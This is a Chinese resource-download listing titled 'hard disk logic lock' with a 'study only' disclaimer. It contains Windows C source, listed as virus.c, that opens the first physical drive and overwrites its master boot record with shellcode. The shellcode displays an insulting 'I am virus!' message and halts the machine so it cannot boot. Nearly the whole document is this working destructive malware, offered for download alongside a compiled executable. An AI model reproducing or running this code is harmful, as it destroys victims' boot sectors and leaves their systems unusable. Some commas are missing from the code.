资源简介
硬盘逻辑锁,内附代码,只做学习研究,禁止用作非法用途。
代码片段和文件信息
#include
#include
unsigned char scode[] =
“\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c“
“\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72“
“\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29“;
/*
00000000 B81200 mov ax 12H ; ah = 0 al = 12h (640 * 480)
00000003 CD10 int 10h ; 进入图形显示方式,隐藏光标
00000005 BD187C mov bp Msg ; ES:BP = 串地址
00000008 B91800 mov cx 18h ; CX = 串长度
0000000B B80113 mov ax 1301h ; AH = 13 AL = 01h
0000000E BB0C00 mov bx 000ch ; 页号为0(BH = 0) 黑底红字(BL = 0Ch高亮)
00000011 BA1D0E mov dx 0e1dh ; dh行 dl列
00000014 CD10 int 10h ; 10h 号中断
00000016 E2FE loop $
Msg: db “I am virus! Fuck you :-)“
*/
int WINAPI WinMain(
HINSTANCE hInstance // handle to current instance
HINSTANCE hPrevInstance // handle to previous instance
LPSTR lpCmdLine // pointer to command line
int nCmdShow // show state of window
)
{
HANDLE hDevice;
DWORD dwBytesWritten dwBytesReturned;
BYTE pMBR[512] = {0};
// 重新构造MBR
memcpy(pMBR scode sizeof(scode) - 1);
pMBR[510] = 0x55;
pMBR[511] = 0xAA;
hDevice = CreateFile
(
“\\\\.\\PHYSICALDRIVE0“
GENERIC_READ | GENERIC_WRITE
FILE_SHARE_READ | FILE_SHARE_WRITE
NULL
OPEN_EXISTING
0
NULL
);
if (hDevice == INVALID_HANDLE_VALUE)
return -1;
DeviceIoControl
(
hDevice
FSCTL_LOCK_VOLUME
NULL
0
NULL
0
&dwBytesReturned
NULL
);
// 写入病毒内容
WriteFile(hDevice pMBR sizeof(pMBR) &dwBytesWritten NULL);
DeviceIoControl
(
hDevice
FSCTL_UNLOCK_VOLUME
NULL
0
NULL
0
&dwBytesReturned
NULL
);
CloseHandle(hDevice);
return 0;
}
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
文件 1824 2007-10-03 01:08 virus.c
文件 1860 2007-10-02 22:44 virus.exe
----------- --------- ---------- ----- ----
3684 2
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